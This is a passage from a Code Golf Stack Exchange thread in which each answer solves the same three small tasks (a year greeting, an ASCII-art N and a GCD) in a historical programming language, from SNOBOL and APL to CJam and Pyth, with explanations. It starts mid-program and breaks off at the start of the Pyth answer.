NEXT DO .8 <- .3 DO .5 <- .7 DO .6 <- .8 DO ,9 <- #2 DO (100) NEXT DO (1) NEXT (100) DO (99) NEXT DO ,9SUB#1 <- #142 DO ,9SUB#2 <- #114 PLEASE DO READ OUT ,9 DO ,9SUB#1 <- #176 DO ,9SUB#2 <- #80 PLEASE DO READ OUT ,9 PLEASE GIVE UP (99) DO .1 <- .7 DO .2 <- #1 PLEASE DO (1010) NEXT DO .1 <- '.3~.3'~#1 PLEASE DO FORGET .1 DO RESUME #1 (1) PLEASE DO (3) NEXT PLEASE DO FORGET #1 DO (1) NEXT (3) DO (4) NEXT PLEASE GIVE UP (4) DO (8) NEXT DO ,9SUB#1 <- #176 DO ,9SUB#2 <- #80 PLEASE DO READ OUT ,9 DO .6 <- .8 DO .1 <- .5 DO .2 <- #1 DO (1010) NEXT DO .5 <- .3 DO .1 <- '.5~.5'~#1 PLEASE DO FORGET .1 DO RESUME #1 (8) DO (5) NEXT (5) PLEASE DO (6) NEXT PLEASE DO FORGET #1 DO (5) NEXT (6) PLEASE DO (7) NEXT DO RESUME #2 (7) DO (10) NEXT DO .1 <- .6 DO .2 <- #1 PLEASE DO (1010) NEXT DO .6 <- .3 DO .1 <- '.6~.6'~#1 PLEASE DO FORGET .1 DO RESUME #1 (10) DO (11) NEXT DO (13) NEXT DO (14) NEXT DO (15) NEXT (11) DO (111) NEXT DO (112) NEXT (13) DO (113) NEXT DO (112) NEXT (14) DO (114) NEXT DO (112) NEXT (111) DO .1 <- .6 DO .2 <- .8 DO (1010) NEXT DO .1 <- '.3~.3'~#1 PLEASE DO FORGET .1 DO RESUME #1 (112) DO ,9SUB#1 <- #142 DO ,9SUB#2 <- #114 PLEASE DO READ OUT ,9 DO RESUME #3 (113) DO .1 <- .6 DO .2 <- #1 DO (1000) NEXT DO .1 <- .5 DO .2 <- .3 DO (1010) NEXT DO .1 <- '.3~.3'~#1 PLEASE DO FORGET .1 DO RESUME #1 (114) DO .1 <- '.6~.6'~#1 PLEASE DO FORGET .1 DO RESUME #1 (15) DO ,9SUB#1 <- #252 DO ,9SUB#2 <- #4 PLEASE DO READ OUT ,9 DO RESUME #2 ``` *Goodness gracious.* This took me a bit to figure out. The label numbers are a mess and therefore reflect that. I'm not going to try to explain this unless someone asks. ## Task 3 ``` DO WRITE IN .5 DO WRITE IN .6 DO (1) NEXT (1) PLEASE DO (3) NEXT DO FORGET #1 DO (1) NEXT (3) DO (4) NEXT DO READ OUT .5 PLEASE GIVE UP (4) DO .1 <- .5 DO .2 <- .6 PLEASE DO (1040) NEXT DO .1 <- .3 DO .2 <- .6 PLEASE DO (1039) NEXT DO .2 <- .3 DO .1 <- .5 DO (1010) NEXT DO .5 <- .6 DO .6 <- .3 DO .1 <- '.6~.6'~#1 PLEASE DO FORGET .1 DO RESUME #1 ``` This one's a tad simpler. Because of INTERCAL's...weirdness, you have to enter the numbers like this: ``` THREE FIVE ``` For instance, to get the GCD of 42 and 16, I'd enter: ``` FOUR TWO ONE SIX ``` It also prints the number in Roman numerals...because that's INTERCAL for you! [Answer] # 1999 - [XSLT](https://en.wikipedia.org/wiki/XSLT) The [World Wide Web Consortium](http://www.w3.org/) (W3C) created XSLT for transforming XML into HTML, text, etc. The following examples assume input is enclosed in `<input>..</input>` tags. ## Task 1 ``` <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="text" indent="no"/> <xsl:template match="/input">XSLT was made in 1999!</xsl:template> </xsl:stylesheet> ``` This one is simple. It matches an `input` tag at the top level and replaces it with the desired output. ## Task 2 ``` <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="text" indent="no"/> <xsl:template match="/input"> <xsl:call-template name="loop"> <xsl:with-param name="i">1</xsl:with-param> <xsl:with-param name="n"> <xsl:value-of select="."/> </xsl:with-param> </xsl:call-template> </xsl:template> <xsl:template name="loop"> <xsl:param name="i"/> <xsl:param name="n"/> <xsl:choose> <xsl:when test="$i = 1 or $i = $n"> <xsl:text>N</xsl:text> <xsl:call-template name="spaces"> <xsl:with-param name="n"> <xsl:value-of select="$n - 2"/> </xsl:with-param> </xsl:call-template> <xsl:text>N&#13;&#10;</xsl:text> </xsl:when> <xsl:otherwise> <xsl:text>N</xsl:text> <xsl:call-template name="spaces"> <xsl:with-param name="n"> <xsl:value-of select="$i - 2"/> </xsl:with-param> </xsl:call-template> <xsl:text>N</xsl:text> <xsl:call-template name="spaces"> <xsl:with-param name="n"> <xsl:value-of select="$n - $i - 1"/> </xsl:with-param> </xsl:call-template> <xsl:text>N&#13;&#10;</xsl:text> </xsl:otherwise> </xsl:choose> <xsl:if test="$i &lt; $n"> <xsl:call-template name="loop"> <xsl:with-param name="i"> <xsl:value-of select="$i + 1"/> </xsl:with-param> <xsl:with-param name="n"> <xsl:value-of select="$n"/> </xsl:with-param> </xsl:call-template> </xsl:if> </xsl:template> <xsl:template name="spaces"> <xsl:param name="n"/> <xsl:if test="$n &gt; 0"> <xsl:text> </xsl:text> <xsl:call-template name="spaces"> <xsl:with-param name="n"> <xsl:value-of select="$n - 1"/> </xsl:with-param> </xsl:call-template> </xsl:if> </xsl:template> </xsl:stylesheet> ``` This one defines 2 recursive templates, `loop` and `spaces`. `loop` with parameters `i` and `n` will generate the desired output for `n`, starting at position `i`. `spaces` with parameter `n` will generate `n` spaces. ## Task 3 Input for this must be in `<input><num>..</num><num>..</num></input>` tags. ``` <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="text" indent="no"/> <xsl:template match="/input"> <xsl:call-template name="gcd"> <xsl:with-param name="a"><xsl:value-of select="num[1]"/></xsl:with-param> <xsl:with-param name="b"><xsl:value-of select="num[2]"/></xsl:with-param> </xsl:call-template> </xsl:template> <xsl:template name="gcd"> <xsl:param name="a"/> <xsl:param name="b"/> <xsl:choose> <xsl:when test="$b = 0"><xsl:value-of select="$a"/></xsl:when> <xsl:otherwise> <xsl:call-template name="gcd"> <xsl:with-param name="a"><xsl:value-of select="$b"/></xsl:with-param> <xsl:with-param name="b"><xsl:value-of select="$a mod $b"/></xsl:with-param> </xsl:call-template> </xsl:otherwise> </xsl:choose> </xsl:template> </xsl:stylesheet> ``` This one is just a recursive template `gcd` that uses the Euclidean algorithm. [Answer] # 2014 - CJam [CJam](http://sourceforge.net/projects/cjam/) was created by PPCG user [aditsu](https://codegolf.stackexchange.com/users/7416/aditsu) and was released [around April 2014](http://sourceforge.net/projects/cjam/files/?source=navbar). ## "Hello, World!" Variant ``` "CJam was made in 2014!" ``` CJam automatically prints the contents of the stack at the end of the program ## ASCII Art N ``` ri:R'#*a_R2-,{_)S*'#+\R((-zS*+}%+\+R<zN* ``` Code explanation: ``` ri:R "Read the input as integer in R"; '#*a "Get a string of R # and wrap it in an array"; _R2-,{ }% "Copy that string and then run this loop R-2"; "times for the diagonal"; _)S* "Get iteration index + 1 spaces"; '#+ "Append the hash"; \R((-zS*+ "Append remaining spaces"; +\+ "Append and prepend the initial # string"; R< "Take only R columns/rows. This is for"; "tackling input 1"; zN* "Transpose and join with new lines"; ``` Takes the height/width of N as input via STDIN. [Try it online here](http://cjam.aditsu.net/#code=ri%3AR'%23*a_R2-%7B_)S*'%23%2B%5CR((-zS*%2B%7D%25%2B%5C%2BR%3CzN*&input=6) ## GCD ``` l~{_@\%}h; ``` Takes the two numbers as input via STDIN. [Try it online here](http://cjam.aditsu.net/#code=l~%7B_%40%5C%25%7Dh%3B&input=79%2035) [Answer] # 1990 - [Haskell](https://www.haskell.org/) Haskell is a popular (or should I say: *the most popular*?) pure functional language. It sticks out from the mainstream by its unusual evaluation model (by default, everything is *lazy* or, technically, non-strict) and by its Hindley-Milner based type system which, even now, is still amongst the most powerful out there. ## Task 1 ``` main = putStrLn "Haskell was made in 1990!" ``` ## Task 2 ``` -- Infinite list of growing letters 'N' bigNs :: [[[Char]]] bigNs = ["N"] : ["NN","NN"] : [ ins (ins 'N' t) $ map (ins ' ') n | n@(t:_) <- tail bigNs ] -- Insert a new element after the head (i.e. at the second position). ins :: a -> [a] -> [a] ins x (l:ls) = l:x:ls ``` Demo, print the whole infinite list (until user aborts, or the world ends...) ``` GHCi> mapM_ (putStrLn . unlines) bigNs N NN NN N N NNN N N N N NN N N NN N N N N NN N N N N N NN N N N N NN N N N N N N N N NN N N ... ``` Of course, you can easily get to a single one of these, by accessing only one element of the infinite list: ``` main :: IO () main = do i <- readLn putStrLn . unlines $ bigNs!!i ``` ## Task 3 ``` gcd' :: Integer -> Integer -> Integer gcd' a 0 = a gcd' a b = gcd' b $ a`mod`b ``` [Answer] # 1967 - APL In 1957, at Harvard University, Ken Iverson started developing a mathematical notation for array manipulation. During the 1960s, his notation was developed into a programming language at IBM. The first partial implementation was created in 1963, and it was even used in a high school to teach students about transcendental functions. A full, usable implementation had to wait until 1965. For two years it was only used internally by IBM. In 1967, IBM released to the public an APL interpreter that ran on the IBM 1130 computer, which had been finished in 1966. You can understand how it's a bit hard to choose a year for it, however, I think it should be 1967, as this is the first year a full implementation was made available to the public. If anyone really disagrees, I could change it. The source code for APL\360, is [online](http://www.computerhistory.org/atchm/the-apl-programming-language-source-code), as is an emulator. This is what I have used to test these examples. It dates from 1967, and along with APL\1130 (for the aforementioned IBM 1130) it is more or less the true original. As expected, it is very primitive. It lacks support for such niceties as lowercase letters, any operators *only* work with builtin functions, and the set of builtin functions is very sparse (in particular, `∨` is *only* `or`, and does *not* double as `gcd`). The original, full description is available [here](http://www.jsoftware.com/papers/APL360TerminalSystem.htm), however, I noticed that the version I had is not even complete with respect to that document, lacking `⍎` among others. I have provided the programs both in Unicode format (so you can read them), and in the original encoding (so you can cut and paste them into the emulator's APL window). Unbelievably, these programs run correctly without any changes (except for the encoding) in modern versions of Dyalog, NARS2000, and GNU APL. So I guess I've found the way to write portable APL: just pretend it's 1967! ### Task 1: Unicode: ``` ⎕←'APL WAS MADE IN 1967!' ``` APL\360: ``` L[Kapl was made in 1967ÝK ``` ### Task 2: Unicode: ``` ⎕←' N'[1+((2⍴N)⍴(⍳N)∊1,N)∨(⍳N)∘.=⍳N←⎕] ``` APL\360: ``` L[K nK;1-::2Rn"R:In"E1,n"(:In"J.%In[L' ``` ### Task 3: I have solved this the standard recursive way. In theory, you could do something clever and array-oriented, like the J answer; in practice, however, that has O(N) memory usage and quickly overwhelms Flower-Power-era hard- and software. Unicode: ``` ∇R←A GCD B R←A →(B=0)/0 R←B GCD B|A ∇ ⎕←⎕ GCD ⎕ ``` APL\360: ``` Gr[a gcd b r[a {:b%0"/0 r[b gcd bMa G L[L gcd L ``` [Answer] # 2005 - [Prelude](http://esolangs.org/wiki/Prelude) Prelude is a very fun language, whose source code consists of several "voices" which are executed in parallel and which [I *really* enjoy solving problems in](https://codegolf.stackexchange.com/a/47112/8478). It is meant to be the ASCII representation of its sister language [Fugue](http://esolangs.org/wiki/Fugue), which actually takes .midi files as its source code and encodes the instructions found in Prelude as intervals in the melodies of the voices. Prelude is fairly minimalistic, yet Turing complete (provided you are using at least 2 voices). As I said, the voices (lines of code) are executed simultaneously, column by column. Each voice operates on its own stack, which is initialised to an infinite number of zeroes. Prelude supports the following instructions: ``` 0-9 ... Push the corresponding digit. + ... Add the top two numbers on the stack. - ... Subtract the top number from the one beneath. # ... Discard the top of the stack. ^ ... Copy the top value from the voice above. v ... Copy the top value from the voice below. ? ... Read a number and push it onto the stack. ! ... Print the top number (and pop it from the stack). ( ... If the top of the stack is zero, jump past the matching ')'. ) ... If the top of the stack is zero, jump to the column after the matching '('. ``` Some additional notes: * The voices are cyclic, so `^` on the top voice copies from the bottom voice (and vice versa). * Multiple `?` and `!` in the same column are executed top to bottom. * As per [the language specification](http://web.archive.org/web/20060504072859/http://z3.ca/%7Elament/prelude.txt), `?` and `!` read and write characters with the corresponding character code. However, [the Python interpreter](http://web.archive.org/web/20060504072747/http://z3.ca/%7Elament/prelude.py) also has a switch in its code to print the numbers themselves instead. For testing purposes I am actually using [a modified version](https://gist.github.com/mbuettner/5f5688758c7171a6675c) which can also *read* numbers instead of characters. But [consensus around here is](https://codegolf.meta.stackexchange.com/a/4719/8478) that numerical input/output can actually be given as byte values, hence these modifications are not necessary to make valid programs dealing with numbers. * Matching `(` and `)` do not need to be on the same voice. The voice used for the condition is *always* the one where the `(` appears. Hence, the vertical position of the `)` is completely irrelevant. * Due to the nature of Prelude's simultaneous execution, any instruction in the same column as a `(` is executed only once before the loop starts, and regardless of whether the loop is entered. Similarly, any instruction in the same column as a `)` is executed at the end of each iteration, regardless of whether the loop will be exited after this iteration. I'll first show you the three programs without much commenting. You can find extensive explanations below. ## The Programs ### "Hello, World!" Variant ``` 9(1-)v98+^++!9v+! v88++2+!^ ! ^9-3-! v ! v2-!55+! 8 8+ ! 7v+! 1v+!88+^+!^4-!^ v8-^ !!!9v+ !^9+9+! v5+! ^98++4+! ^8-! ^4- ^ #!^6-! ^^ #5+! v ^2-!1+! ``` If you are using the Python interpreter, make sure that `NUMERIC_OUTPUT = False`. ### ASCII Art N ``` v2-(1-)v 9(1-)?1-( v! (1-55+! 0 (0)# ))55+! 4-4+ v^-# v! v! v1-v!(1- ^(#^!0)# v! )v! 6 8+ v# ``` For ease of use, this program benefits from reading input as numbers, but output must not be numeric. So if you are using the modified Python interpreter, set ``` NUMERIC_INPUT = True NUMERIC_OUTPUT = False ``` ### GCD ``` ?( v) ? (^-(0 # v # ^+0)#^ ! ^^ (##v^v+)# 0 (0 ) 1) ^ # - 1+(#)# ``` This is best used with all numeric input/output i.e. ``` NUMERIC_INPUT = True NUMERIC_OUTPUT = True ``` ## Explanations ### "Hello, World!" Variant This is *fairly* straight-forward. I'm using 3 voices to successively generate the character codes for all the characters in `Prelude was made in 2005!`. I start by computing `8 + 9*8 = 80`, which is the character code of `P`: ``` 9(1-) 8 8+ ``` After that I mostly just copy the previous character code and add or subtract the difference to the next one. Here is the code, but with each `!` replaced with the character that is being printed (and `_` for spaces and `%` for the digits): ``` 9(1-)v98+^++r9v+u v88++2+w^ _ ^9-3-a v _ v2-%55+! 8 8+ P 7v+l 1v+e88+^+_^4-s^ v8-^ de_9v+ n^9+9+% v5+% ^98++4+e ^8-d ^4- ^ #a^6-m ^^ #5+i v ^2-%1+! ``` The final `55+!` prints a trailing newline, just because it's nicer. As a side note, the number of voices is pretty arbitrary for this task, but 3 is fairly convenient because it's the largest number in which every voice can directly access each other voice. ### ASCII Art N ``` v2-(1-)v 9(1-)?1-( v! (1-55+! 0 (0)# ))55+! 4-4+ v^-# v! v! v1-v!(1- ^(#^!0)# v! )v! 6 8+ v# ``` With 5 voices, this is definitely one of the most complex programs I've written so far. The voices roughly have the following purposes: 1. Merely a helper voice which stores `N-1` for use in the inner loop. 2. This is sort of the "main" voice, which reads input, contains an important switch and also contains the outer loop (i.e. the one over the rows). 3. This stores a `32` to conveniently print spaces. 4. This contains the inner loop (the one over the columns). 5. This stores a `78` to conveniently print `N`s. Let's go through the code part by part. First, I'm creating the `32` as `-4 + 9*4` and the `78` as `6 + 9*8`: ``` 9(1-) 4-4+ 6 8+ ``` Now I'm printing a single `N` (because we always need one) while reading the input `N` and storing `N-1` and `N-2` in the first two voices: ``` v2- ?1- v! ``` Next, there is a "loop" conditioned on `N-1`. At the end of the loop, the second voice is always reduced to `0`, and the loop exits after the first iteration. So essentially, this only `if(N > 1){...}`. After the loop we print a single trailing newline. To recap, we've now got the following framework: ``` v2- 9(1-)?1-( )55+! 4-4+ v! 6 8+ ``` Inside this conditional, we first `N-2` spaces and a single `N` to complete the first row, and we also store `N-1` on the first voice for future use: ``` (1-)v v! v! ``` Now the real meat of the code. First, there is an outer loop, which prints `N-1` rows. For each row, we *first* print a newline, and an `N`. Then we loop `N-2` times, printing either spaces or `N`s (more on that later). And finally we print another `N`: ``` 1-55+! v1-v!( )v! v# ``` Finally, the fun part: printing each row (and getting the position of the `N` right). There is not really an if/else in Prelude, so I have to build it myself using two loops on different voices. The condition can easily be obtained by subtracting the inner and outer loop variable - we get `0` if we want to print `N` and something non-zero if we want to print a space. The basic idea of an if/else in Prelude is to put a loop after the relevant value - the "if" (or non-zero) code, and exit it immediately by pushing a `0`. On another voice, you keep a non-zero value, and another loop *after* the "if" loop. *During* the "if" loop you put a zero on top of that other voice, so as to prevent the "else" from being executed. There is some flexibility in whether you push zero values on top of non-zero values or simply discard the non-zero value if there's a zero beneath, but this is the general idea. You might also have to do some cleanup afterwards, if you want to keep using the relevant voice. This is what the code looks like: ``` 0 (0)# v^-# 1- ^(#^!0)# v! ``` And that's it! ### GCD This is "just" an iterative implementation of the Euclidean algorithm. But modulo in Prelude is a bit annoying, mostly because you can't easily check if a number is positive or negative. This code makes use of a *signum* implementation [I wrote a while ago](https://codegolf.stackexchange.com/q/44415/8478). I.e. a large part of the code just turns a number into `-1`, `0` or `1`. This can then easily be turned into a condition for positive or negative numbers by adding or subtracting `1`. ``` ?( v) ? (^-(0 # v # ^+0)#^ ! ^^ (##v^v+)# 0 (0 ) 1) ^ # - 1+(#)# ``` So we've got four voices this time. The first voice simply keeps track of `b` and contains the main termination condition (i.e. the loop exits when `b` becomes `0`). The second voice contains `a` and with the help of voices three and four computes `a % b`, before swapping the result with the previous `b`. Finally, the `!` prints `a` when `b == 0`. Let's look at the *signum* part first: ``` (0 # v # ^^ (##v^v+)# 1) ^ # - ``` The input number `n` is found on the first of those voices (the second voice in the full program). The result will end up on the bottom voice. The other two voices are expected to be empty (i.e. filled with zeroes). Notice that, if `n == 0`, then both loops are skipped and the bottom voice still contains `0`, just what we want. If `n` is non-zero, the first small loop is entered. We push a zero to exit it immediately, put two copies of `n` onto the middle voice and a `1` onto the bottom voice. Now the basic idea is to increment one of the copies of `n` while decrementing the other copy of `n` until one of them hits zero. While doing so, the `1` on the bottom voice flips its sign all the time (which is easily done by subtracting it from `0` beneath it on the stack). This is set up such that *when* one of the numbers hits zero, the bottom voice will contain the correct sign. Now modulo is implemented by subtracting `b` from `a` until the result is negative. When that happens, we add one `b` again. That's this bit: ``` (^- signum ^+0)# signum 0 (0 ) signum 1+(#)# ``` Notice the if/else construction at the bottom, which is similar to the one I used for Task 2. [Answer] # 1996 - [Ocaml](http://en.wikipedia.org/wiki/OCaml) Was waiting more than day to someone fill 1996, so I could fill in Ruby. Well why not learn OCaml then, seems similar to haskell... # Hello world ``` print_endline "OCaml was made in 1996!";; ``` # ASCII ``` let ascii n = let rec ascii' = function | 0 -> () | i -> let s = "N" ^ String.make (n-2) ' ' ^ "N" in String.fill s (n-i) 1 'N'; print_endline s; ascii' (i-1) in ascii' n;; ``` Mutable strings! # GCD ``` let rec gcd a b = if b = 0 then a else gcd b (a mod b);; ``` No `==` and infix `mod`, that's cute [Answer] # 2007 - Scratch [Scratch](https://scratch.mit.edu/) is a language made by MIT for educational purposes. I've been very involved with it for 5 years; more on that later. All of these can be viewed [here](https://scratch.mit.edu/projects/56652112/). I'm very rushed right now and will explain the snippets later. Hopefully they're prety self-explanatory though. ## Task 1 ![enter image description here](https://i.stack.imgur.com/YATAa.png) ## Task 2 ![enter image description here](https://i.stack.imgur.com/Jkiuj.png) ## Task 3 ![enter image description here](https://i.stack.imgur.com/sPBGU.png) [Answer] # 1972 - C We all know about C, don't we? C was created at Bell Labs, along with Unix. Unix was largely written in C. All modern Unix derivatives are still largely written in C. C's syntax has influenced many, many programming languages. It is probably the oldest programming language that is still in widespread use for new development. C itself is a descendant of B, which I hope will end up in this list as well. There was no 'A' programming language: B is a variant of BCPL, which in turn is a stripped down CPL. None of these languages were ever very popular. However, BCPL was the language in which the first "Hello World" program was written. Another interesting fact is that B had both `/* */` and `//` comments, but C dropped the `//` comments. They were later reintroduced into C with the C99 standard. The C programs here were tested with the Unix V5 C compiler, from 1974. This was the oldest C compiler I could find and get to work, and these programs will not compile on a modern C compiler. (One of the changes made is that mutation operators like `+=` used to be written `=+`.) `#include <`...`>` did not exist yet. Neither did much of the standard library. I had to write my own `atoi`. I went through some of the V5 source code to figure out which things were allowed and which were not. The version I used was the first to include `struct`s, but since I did not use those, and the syntax doesn't seem to have changed a lot until V7 (as K&R C), this might work with earlier versions as well. I have done my best to write my code in the same style as the V5 source code uses. (Not that that is terribly consistent, though.) Look [here](http://farid.hajji.name/blog/2014/05/05/unix-v5-on-pdp11-using-simh/) for links to Unix V5, an emulator, and instructions on getting it running on a modern computer. ### Task 1 ``` main() { write(1, "C was made in 1972!\n", 20); } ``` ### Task 2 ``` atoi(str) char *str; { register num, digit; while (digit = *str++) { num =* 10; num =+ digit - '0'; } return num; } N(n) { register x, y; for (y=1; y<=n; y++) { for (x=1; x<=n; x++) { write(1, " N"+(x==1||x==y||x==n), 1); } write(1, "\n", 1); } } main(argc, argv) char *argv[]; { N(atoi(argv[1])); } ``` ### Task 3 ``` atoi(str) char *str; { register num, digit; while (digit = *str++) { num =* 10; num =+ digit - '0'; } return num; } gcd(a, b) { return b ? gcd(b, a%b) : a; } main(argc, argv) char *argv[]; { printf("%d\n", gcd(atoi(argv[1]), atoi(argv[2]))); } ``` [Answer] # 2009 - [Idris](http://www.idris-lang.org/) Idris is a dependantly-typed, pure functional language that emphasises being in fact practically usable for real-world applications, apart from offering the extremely rigorous proof possibilities that are achievable with dependant types. ## Task 1 ``` module Main main : IO () main = putStrLn "Idris was made in 2009!" ``` ## Task 2 ``` module InN import Data.Fin import Data.Vect genN : Vect n (Vect n Char) genN = [[ if inN x y then 'N' else ' ' | x<-range ]| y<-range ] ||| Helper function, determines whether the char at coordinate (x,y) ||| is part of the letter: inN : Fin n -> Fin n -> Bool inN {n=S _} x y = x==0 || x==y || x==last ``` This one is not a program but just a function (more precisely, *dependant value*), producing the desired letter N as a two-dimensional array. ``` $ idris ascii-n.idr ____ __ _ / _/___/ /____(_)____ / // __ / ___/ / ___/ Version 0.9.17.1- _/ // /_/ / / / (__ ) http://www.idris-lang.org/ /___/\__,_/_/ /_/____/ Type :? for help Idris is free software with ABSOLUTELY NO WARRANTY. For details type :warranty. Type checking ./ascii-n.idr *ascii-n> genN {n=4} [['N', ' ', ' ', 'N'], ['N', 'N', ' ', 'N'], ['N', ' ', 'N', 'N'], ['N', ' ', ' ', 'N']] : Vect 4 (Vect 4 Char) ``` ## Task 3 ``` module gcd gcd' : Nat -> Nat -> Nat gcd' a Z = a gcd' a b = gcd' b $ a`mod`b ``` Note that I had to choose the name `gcd'` because as `gcd` it is already defined in the Idris prelude. ``` Type checking ./gcd.idr *gcd> gcd' 8 12 4 : Nat *gcd> gcd' 12 8 4 : Nat *gcd> gcd' 234 876 6 : Nat ``` [Answer] # 1962 - SNOBOL The "StriNg Oriented and symBOlic Language". At first apparently called the Symbolic Expression Interpreter, 'SEXI', which then had to be changed to prevent the 1960-s era nerds from blushing when submitting their jobs. [True story.](http://www.listbox.com/member/archive/247/2008/12/sort/time_rev/page/1/entry/0:180/20081226091150:1B4F85B0-D357-11DD-ABF7-AB09AB975BFC/) This was one of the first languages that could deal with strings and patterns natively. Indeed, the first version of SNOBOL had the string as its *only* datatype. Math was then done by parsing. The initial implementation was done on the IBM 7090. It seems to be long gone, at least, I couldn't find it. What I did find was [the original paper describing it](http://s000.tinyupload.com/index.php?file_id=39602638771518326328) as well as a [SNOBOL3 interpreter in Java, which can run on a modern computer](http://www.snobol4.org/dennis.heimbigner/s3/). The first SNOBOL had pretty much *only* pattern matching and basic arithmetic. SNOBOL 3 then added functions and changed the I/O, but otherwise seems to have remained backwards compatible. SNOBOL 4 changed the syntax, and from there it developed into [Icon](https://codegolf.stackexchange.com/questions/48476/programming-languages-through-the-years/49088#49088), which keeps the pattern matching but almost looks like a "normal" programming language otherwise. The programs I have written use only functionality described in the original paper, so should work with the original SNOBOL with the exception of the I/O, which I did in SNOBOL3 style so that the Java interpreter could run them. From the paper, it seems that the difference is that SNOBOL1 uses pattern matching with a special `SYS` variable, whereas SNOBOL3 uses input and output variables: * Input: + 1 `SYS .READ *DATA*` + 3 `DATA = SYSPPT` * Output: + 1 `SYS .PRINT 'A STRING' AND VARIABLES` + 3 `SYSPOT = 'A STRING' AND VARIABLES` Making these substitutions should get you 'real' SNOBOL 1. Of course, then you can't run it. ## Task 1 ``` START SYSPOT = 'SNOBOL WAS MADE IN 1962!' ``` ## Task 2 This shows math, string handling and flow control. SNOBOL3 has useful functions, like `EQ` to check equality; the original SNOBOL did not, so I haven't used them. ``` * READ N FROM INPUT START SYSPOT = 'SIZE?' SZ = SYSPPT * INITIALIZE CS = '' ROW = '0' * OUTPUT PREVIOUS ROW AND START NEXT ONE ROW COL = '0' SYSPOT = CS CS = '' COL SUCC = 'N' EQ1 = COL FAIL = 'CHKE' EQ2 = '0' /(EQUAL) CHKE FAIL = 'CHKR' EQ2 = SZ - '1' /(EQUAL) CHKR FAIL = 'SPACE' EQ2 = ROW /(EQUAL) * CONCATENATE THE RIGHT CHARACTER TO THE CURRENT LINE SPACE CS = CS ' ' /(NEXT) N CS = CS 'N' /(NEXT) * FOR NUMBERS, SUBSTRING MATCH IS ENOUGH IF IT IS KNOWN A<=B NEXT COL = COL + '1' COL SZ /F(COL) ROW = ROW + '1' ROW SZ /F(ROW)S(FIN) * THERE SEEMS TO BE NO EQUALITY CHECK, JUST SUBSTRING MATCHING * OF COURSE, EQ1 == EQ2 IFF EQ1 CONTAINS EQ2 AND VICE VERSA * THIS ALSO ILLUSTRATES INDIRECTION EQUAL EQ1 EQ2 /F($FAIL) EQ2 EQ1 /S($SUCC)F($FAIL) * OUTPUT THE LAST LINE FIN SYSPOT = CS ``` ## Task 3 First, the boring one. The only thing of note is the smaller-than check, showing exactly how string-oriented SNOBOL really was: `(B - A) '-'` means "does the result of B-A contain a minus?". SNOBOL3 can also do `LE(B,A)`, but SNOBOL 1 could not (at least the paper doesn't mention it). ``` * READ A AND B START SYSPOT = 'A?' A = SYSPPT SYSPOT = 'B?' B = SYSPPT * GCD LOOP STEP '0' (A - B) /S(DONE) (B - A) '-' /S(AB)F(BA) AB A = A - B /(STEP) BA B = B - A /(STEP) DONE SYSPOT = 'GCD: ' A ``` Of course, when you have a language based entirely around strings and pattern matching, it would be a shame not to actually get to use the pattern matching and replacement. Thus, here is one of those unary-based GCDs, including routines for converting to and from unary. ``` * READ A AND B START SYSPOT = 'A?' A = SYSPPT SYSPOT = 'B?' B = SYSPPT * CONVERT TO UNARY UNA.IN = A UNA.FIN = 'ADONE' /(UNA) ADONE A = UNA.R UNA.IN = B UNA.FIN = 'BDONE' /(UNA) BDONE B = UNA.R * USE STRING MATCHING TO FIND GCD STEP '' B /S(GDONE) MATCH A B = /S(MATCH) C = B B = A A = C /(STEP) * CONVERT BACK TO DECIMAL GDONE DEC.IN = A DEC.FIN = 'DONE' /(DEC) DONE SYSPOT = 'GCD: ' DEC.R /(FIN) ***************************** * DECIMAL TO UNARY SUBROUTINE UNA UNA.R = UNA.DGT UNA.IN *.DGT/'1'* = /F($UNA.FIN) .X = UNA.R UNA.R = UNA.MUL .X *.Y/'1'* = /F(UNA.ADD) UNA.R = UNA.R '##########' /(UNA.MUL) UNA.ADD '1' .DGT /S(UNA.1) '2' .DGT /S(UNA.2) '3' .DGT /S(UNA.3) '4' .DGT /S(UNA.4) '5' .DGT /S(UNA.5) '6' .DGT /S(UNA.6) '7' .DGT /S(UNA.7) '8' .DGT /S(UNA.8) '9' .DGT /S(UNA.9) '0' .DGT /S(UNA.DGT) UNA.1 UNA.R = UNA.R '#' /(UNA.DGT) UNA.2 UNA.R = UNA.R '##' /(UNA.DGT) UNA.3 UNA.R = UNA.R '###' /(UNA.DGT) UNA.4 UNA.R = UNA.R '####' /(UNA.DGT) UNA.5 UNA.R = UNA.R '#####' /(UNA.DGT) UNA.6 UNA.R = UNA.R '######' /(UNA.DGT) UNA.7 UNA.R = UNA.R '#######' /(UNA.DGT) UNA.8 UNA.R = UNA.R '########' /(UNA.DGT) UNA.9 UNA.R = UNA.R '#########' /(UNA.DGT) ***************************** * UNARY TO DECIMAL SUBROUTINE DEC DEC.R = DEC.DGT '' DEC.IN /S($DEC.FIN) .X = DEC.IN DEC.IN = DEC.DIV .X '##########' = /F(DEC.ADD) DEC.IN = DEC.IN '#' /(DEC.DIV) DEC.ADD '' .X /S(DEC.0) '#' .X /S(DEC.1) '##' .X /S(DEC.2) '###' .X /S(DEC.3) '####' .X /S(DEC.4) '#####' .X /S(DEC.5) '######' .X /S(DEC.6) '#######' .X /S(DEC.7) '########' .X /S(DEC.8) '#########' .X /S(DEC.9) DEC.0 DEC.R = '0' DEC.R /(DEC.DGT) DEC.1 DEC.R = '1' DEC.R /(DEC.DGT) DEC.2 DEC.R = '2' DEC.R /(DEC.DGT) DEC.3 DEC.R = '3' DEC.R /(DEC.DGT) DEC.4 DEC.R = '4' DEC.R /(DEC.DGT) DEC.5 DEC.R = '5' DEC.R /(DEC.DGT) DEC.6 DEC.R = '6' DEC.R /(DEC.DGT) DEC.7 DEC.R = '7' DEC.R /(DEC.DGT) DEC.8 DEC.R = '8' DEC.R /(DEC.DGT) DEC.9 DEC.R = '9' DEC.R /(DEC.DGT) FIN START ``` [Answer] # 2014 - Pyth Since we have CJam, we might as well also have Pyth for completeness :) Pyth is a golfing language by [@isaacg](https://codegolf.stackexchange.com/users/20080/isaacg) which compiles down to Python. It's notable for being procedural and for using prefix notation. Pyth first appeared around [June 2014](https://github.com/isaacg1/pyth/graphs/contributors). # "Hello, World!" Variant ``` "Pyth was made in 2014! ``` Note the lack of a closing quote, which is optional if a Pyth program ends in a string. # ASCII Art N ``` 